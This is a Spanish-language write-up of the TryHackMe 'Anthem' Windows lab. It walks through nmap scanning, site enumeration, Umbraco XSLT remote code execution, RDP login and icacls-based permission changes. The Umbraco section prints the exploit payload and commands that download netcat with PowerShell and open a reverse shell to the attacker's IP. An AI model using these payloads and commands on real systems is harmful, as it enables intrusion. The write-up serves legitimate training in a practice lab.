TryHackMe - Anthem
Creado
Máquina Windows nivel fácil. Jugaremos mucho a encontrar cosas en la web, caeremos en un Rabbit Hole con Umbraco (lindo, aprendimos bastante de esto) y accederemos remotamente a escritorios ajenos usando RDP.
TL;DR (Spanish writeup)
El formato de tener que publicar el proceso, pero escondiendo la mayoría no me gusta nada. Pero toca hacerlo, ya que al parecer el tema “retirar” máquinas en TryHackMe
no es un «tema» de conversación :P
Nos encontraremos con un servidor web alojando el CMS Umbraco
, antes de abordarlo debemos recorrer las páginas e ir encontrando flags
o ítems
. Una vez encontradas, nos enfrentaremos a un lindo Rabbit Hole
en la explotación del CMS Umbraco
. Caeremos en cuenta que tenemos credenciales y un servicio para acceder remotamente a la máquina. Así encontraremos el flag user.txt
.
Una vez dentro, enumeraremos y tendremos una carpeta oculta, la cual contiene un archivo al que no tenemos acceso. Validando los permisos del archivo vemos que somos el propietario, pero no tenemos acciones sobre él. Mediante icacls
gestionaremos los permisos que tenemos hacia ese archivo y lograremos ver su contenido, tendremos una contraseña que nos servirá para entrar al escritorio remoto del usuario Administrator
.
Escribo para tener mis “notas”, por si algun dia se me olvida todo, leer esto y reencontrarme (o talvez no) :) además de enfocarme en plasmar mis errores y exitos (por si ves mucho texto), todo desde una perspectiva más de enseñanza que de solo plasmar lo que hice.
…
¿Qué haremos?
El formato de TryHackMe
es muy diferente al de HackTheBox
, ya que algunas máquinas tienen preguntas que deben ser respondidas según vayamos avanzando con la explotación, así que respetaremos eso (también para probar :P).
…
Website Analysis #
Realizaremos un escaneo de puertos para saber que servicios está corriendo la máquina.
❭ nmap -p- --open -v 10.10.87.37 -oG initScan
Parámetro | Descripción |
---|---|
-p- | Escanea todos los 65535 |
–open | Solo los puertos que están abiertos |
-v | Permite ver en consola lo que va encontrando |
-oG | Guarda el output en un archivo con formato grepeable para usar una función de S4vitar que me extrae los puertos en la clipboard |
❭ cat initScan
# Nmap 7.80 scan initiated Thu Feb 4 25:25:25 2021 as: nmap -p- --open -v -oG initScan 10.10.87.37
# Ports scanned: TCP(65535;1-65535) UDP(0;) SCTP(0;) PROTOCOLS(0;)
Host: 10.10.87.37 () Status: Up
Host: 10.10.87.37 () Ports: **/open/tcp//http///, ****/open/tcp//ms-wbt-server/// Ignored State: filtered (65533)
# Nmap done at Thu Feb 4 25:25:25 2021 -- 1 IP address (1 host up) scanned in 585.65 seconds
Perfecto, tenemos:
Puerto | Descripción |
---|---|
** (Pero creo que se entiende cual es) | HTTP |
** | RPD |
Hagamos nuestro escaneo de scripts y versiones en base a cada puerto, con ello obtenemos informacion mas detallada de cada servicio:
❭ nmap -p **,**** -sC -sV 10.10.87.37 -oN portScan
Parámetro | Descripción |
---|---|
-p | Escaneo de los puertos obtenidos |
-sC | Muestra todos los scripts relacionados con el servicio |
-sV | Nos permite ver la versión del servicio |
-oN | Guarda el output en un archivo |
❭ cat portScan
# Nmap 7.80 scan initiated Thu Feb 4 25:25:25 2021 as: nmap -p **,**** -sC -sV -oN portScan 10.10.87.37
Nmap scan report for 10.10.87.37
Host is up (0.34s latency).
PORT STATE SERVICE VERSION
**/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
| http-robots.txt: 4 disallowed entries
|_/***/ /*****/ /umbraco/ /umbraco_client/
|_http-title: Anthem.com - Welcome to our blog
****/tcp open ms-wbt-server Microsoft Terminal Services
| rdp-ntlm-info:
| Target_Name: WIN-LU09299160F
| NetBIOS_Domain_Name: WIN-LU09299160F
| NetBIOS_Computer_Name: WIN-LU09299160F
| DNS_Domain_Name: WIN-LU09299160F
| DNS_Computer_Name: WIN-LU09299160F
| Product_Version: 10.0.17763
|_ System_Time: 2021-02-04T22:17:08+00:00
| ssl-cert: Subject: commonName=WIN-LU09299160F
| Not valid before: 2021-01-02T15:57:43
|_Not valid after: 2021-07-04T15:57:43
|_ssl-date: 2021-02-04T22:17:23+00:00; 0s from scanner time.
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Feb 4 25:25:25 2021 -- 1 IP address (1 host up) scanned in 31.22 seconds
Obtenemos:
Puerto | Servicio | Versión |
---|---|---|
** | HTTP | Microsoft HTTPAPI httpd 2.0 |
** | RDP | Microsoft Terminal Services |
Empecemos a responder preguntas :P
…
What port is for the web server?
Bueno, como vimos anteriormente, esta sobre el puerto **
(Igual por algún lado creo que se filtrara :P).
What port is for remote desktop service?
También lo vimos en el puerto ****
.
What is a possible password in one of the pages web crawlers check for?
Enumerando (y fijándonos en el escaneo anterior) con robots.txt
tenemos lo que parece ser una contraseña: ****************
.
What CMS is the website using?
Apoyados en la imagen anterior (y también del escaneo) sabemos que está usando el CMS Umbraco.
What is the domain of the website?
Por varios sitios (y en el escaneo :P :P) vemos el dominio anthem.com
.
What’s the name of the Administrator
Acá usando la ayuda que nos brinda, indica que debemos buscar :O, pero ni idea… Después de leer atentamente, los compañeros de trabajo le dedican un poema al admin:
Buscando en internet la frase, tenemos el nombre del autor, ese resulta ser el admin (:(
Can we find find the email address of the administrator?
Dado que vimos un correo, pero ese no es el indicado, podemos pensar que existe un patrón en los correos, teniendo el nombre podemos generar uno:
- Correo que encontramos pero no es: JD@anthem.com.
- Correo generado con el patron (iniciales del nombre): **@anthem.com.
…
Spot Flags #
Our beloved admin left some flags behind that
we require to gather before we proceed to the next task..
Recorriendo la pagina, vemos algunas banderas en formato CTF, tales como HTB{...}
, encontremoslas.
What is flag 1?
What is flag 2?
What is flag 3?
What is flag 4?
…
Final Stage #
Let's get into the box using the intel we gathered.
Si intentamos logearnos en el apartado de /umbraco
con las credenciales que tenemos volando, logramos entrar:
…
…
▿ Rabbit hole (Umbraco exploitation
)
Que me gusto, aunque hubiera sido un rabbit hole :P
Recorriendo la página, podemos encontrar la versión del software, en este caso: Umbraco versión 7.15.4
. Buscando exploits sobre esa versión encontramos uno con el que ya había estado jugando en una máquina de HackTheBox
, concretamente en Remote
(de la cual tengo un writeup, el cual me sirvió para guiarme sobre como conseguir una reverse Shell).
(La mayoría de referencias las reutilizaré de ese writeup, solo pa decirlo :P)
Bien, descargándolo y viendo el código, debemos modificar algunas líneas, tales como:
- login: el usuario (email).
- password: pues la password :P
- host: donde está alojado el CMS
Umbraco
(IP de la máquina).
El proceso de explotación se da por la falta de sanitizacion de la variable ctl00$body$xsltSelection
del archivo /umbraco/developer/Xslt/xsltVisualize.aspx
. En el que podemos enviar nuestro payload sin ningún problema.
El payload que usa el exploit es este:
payload = '<?xml version="1.0"?><xsl:stylesheet version="1.0" \\
xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt" \\
xmlns:csharp_user="http://csharp.mycompany.com/mynamespace">\\
<msxsl:script language="C#" implements-prefix="csharp_user">public string xml() \\
{ string cmd = ""; System.Diagnostics.Process proc = new System.Diagnostics.Process();\\
proc.StartInfo.FileName = "calc.exe"; proc.StartInfo.Arguments = cmd;\\
proc.StartInfo.UseShellExecute = false; proc.StartInfo.RedirectStandardOutput = true; \\
proc.Start(); string output = proc.StandardOutput.ReadToEnd(); return output; } \\
</msxsl:script><xsl:template match="/"> <xsl:value-of select="csharp_user:xml()"/>\\
</xsl:template> </xsl:stylesheet> ';
Como prueba de concepto, abre una calculadora, pero nosotros no queremos eso, intentemos ejecutar el comando whoami
:
(Algo importante es que al final debemos indicarle que nos muestre la respuesta del request)
# Step 4 - Launch the attack
r4 = s.post(url_xslt,data=data,headers=headers);
print(r4.text)
Ahora si, el payload quedaria:
payload = '<?xml version="1.0"?><xsl:stylesheet version="1.0" \\
xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt" \\
xmlns:csharp_user="http://csharp.mycompany.com/mynamespace">\\
<msxsl:script language="C#" implements-prefix="csharp_user">public string xml() \\
{ string cmd = ""; System.Diagnostics.Process proc = new System.Diagnostics.Process();\\
proc.StartInfo.FileName = "cmd.exe"; proc.StartInfo.Arguments = "whoami";\\
proc.StartInfo.UseShellExecute = false; proc.StartInfo.RedirectStandardOutput = true; \\
proc.Start(); string output = proc.StandardOutput.ReadToEnd(); return output; } \\
</msxsl:script><xsl:template match="/"> <xsl:value-of select="csharp_user:xml()"/>\\
</xsl:template> </xsl:stylesheet> ';
En la respuesta tenemos:
nada u.u
Básicamente buscando en internet, tenemos que debemos agregarlo algo a la cadena, el tema es que ejecuta cmd.exe
, pero se queda con la consola abierta y nunca veremos el output.
En Stack Overflow
alguien agrego que usar /c
al inicio de la cadena le indica a la consola que debe cerrarse apenas ejecute el comando. Probémoslo:
...
proc.StartInfo.FileName = "cmd.exe"; proc.StartInfo.Arguments = "/c whoami";\
...
Ejecutamos:
Perfecto, ahora que tenemos ejecución de comandos, probemos cositas y veamos como conseguir la shell…
Debemos subir el binario nc
a la maquina, nos apoyaremos de PowerShell
para hacerlo:
▸ Listamos el directorio TEMP
:
...
proc.StartInfo.FileName = "cmd.exe"; proc.StartInfo.Arguments = @"/c dir ..\..\..\\Windows\\TEMP";\
...
▸ Ponernos en escucha donde tenemos el binario nc
:
❭ python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
▸ Agregamos la linea que va a descargar el binario y lo guardara en la carpeta TEMP
del sistema:
...
proc.StartInfo.FileName = "cmd.exe"; proc.StartInfo.Arguments = @"/c powershell IWR -uri http://10.2.65.117:8000/nc64.exe -OutFile c:\\Windows\\TEMP\\nc.exe";\
...
▸ Listamos el directorio TEMP
para validar:
...
proc.StartInfo.FileName = "cmd.exe"; proc.StartInfo.Arguments = @"/c dir ..\..\..\\Windows\\TEMP";\
...
Nice, no sé por qué solo se muestra nuestro binario, pero bueno, sabemos que esta, ahora ejecutémoslo:
▸ Nos ponemos en escucha:
❭ nc -lvp 4433
listening on [any] 4433 ...
▸ Le indicamos que nos genere la Reverse Shell:
...
proc.StartInfo.FileName = "cmd.exe"; proc.StartInfo.Arguments = @"/c ..\..\..\\Windows\\TEMP\\nc.exe 10.2.65.117 4433 -e cmd.exe";\
...
Perfectooooooooooooooooooo, tamos dentro pai (:
Enumerando usuarios tenemos uno conocido:
c:\>net user
User accounts for \\
-------------------------------------------------------------------------------
Administrator DefaultAccount Guest
**** (acá ta el user u.u) WDAGUtilityAccount
Después de un rato decidí probar con el puerto RDP
pa ver si lográbamos entrar, ya que por este método no conseguí nada útil, simplemente un directorio oculto con un archivo al que no podemos acceder, pero de esto hablaremos un poco más adelante.
Final del rabbit hole :P (al menos vimos como entrar a la máquina explotando Umbraco
El tema es que en las preguntas, después de haber encontrado las flags, nos pedía la de user.txt
, se me hizo raro en el momento (y también cuando hicimos whoami
hubiera sido un indicio de que íbamos por otro camino), pero pues no le puse cuidado y pueeeeeeees la máquina no está hecha para entrar por este lado (o pues no logre moverme al usuario necesario desde dentro)…
▿ Acceso con RDP a la máquina
Entonces :( si recordamos, tenemos el puerto ****
(RDP) abierto. Este puerto nos permite conectarnos de manera remota a un computador. Intentémoslo :O
Encontramos esta herramienta: remmina
.
Después de instalarla, la ejecutamos e ingresamos la IP de la máquina:
Damos enter
, aceptamos el certificado y a continuación nos pide las credenciales del usuario:
Estando dentro (supongo que no me cargo el fondo de pantalla :P):
Gain initial access to the machine, what is the contents of user.txt?
Can we spot the admin password?
Enumerando la máquina, encontramos un folder oculto en la raiz del sistema.
Dentro tenemos un archivo, pero que al intentar abrilo, no nos deja por falta de permisos:
Si revisamos el owner
del archivo con el comando dir /q
, vemos que somos nosotros, podemos usar icacls
para validar que permisos tenemos sobre el archivo:
c:\backup>icacls restore.txt
Successfully processed 1 files; Failed processing 0 files
Bien, pues siendo los propietarios del archivo podemos cambiarle los permisos, indiquémosle con icacls
que le dé permisos de modificación sobre el archivo a nuestro usuario:
Perfecto, tenemos una string que parece una contraseña :P
Escalate your privileges to root, what is the contents of root.txt?
Migramos al usuario Administrator
y tenemos:
Y listos, podemos ver la flag de root.txt
; hemos terminado (:
…
Máquina muy de jugar (CTF), me estoy enfocando en máquinas Windows, ya que intente una nivel difícil en HackTheBox
y me exploto la cabeza, muy bajo nivel para meterle.
Me hubiera gustado que la ruta hubiera sido explotar Umbraco
, de alguna forma encontrar la contraseña del usuario y ahí si hacer uso del puerto RDP
… Pero bueno, no pasa nada, igual se aprendió :P
Me gusto el uso de icacls
para gestionar permisos y entiendo que es superútil en entornos reales.
Muchas gracias por leer y como siempre… A seguir rompiendo todo (:
Comments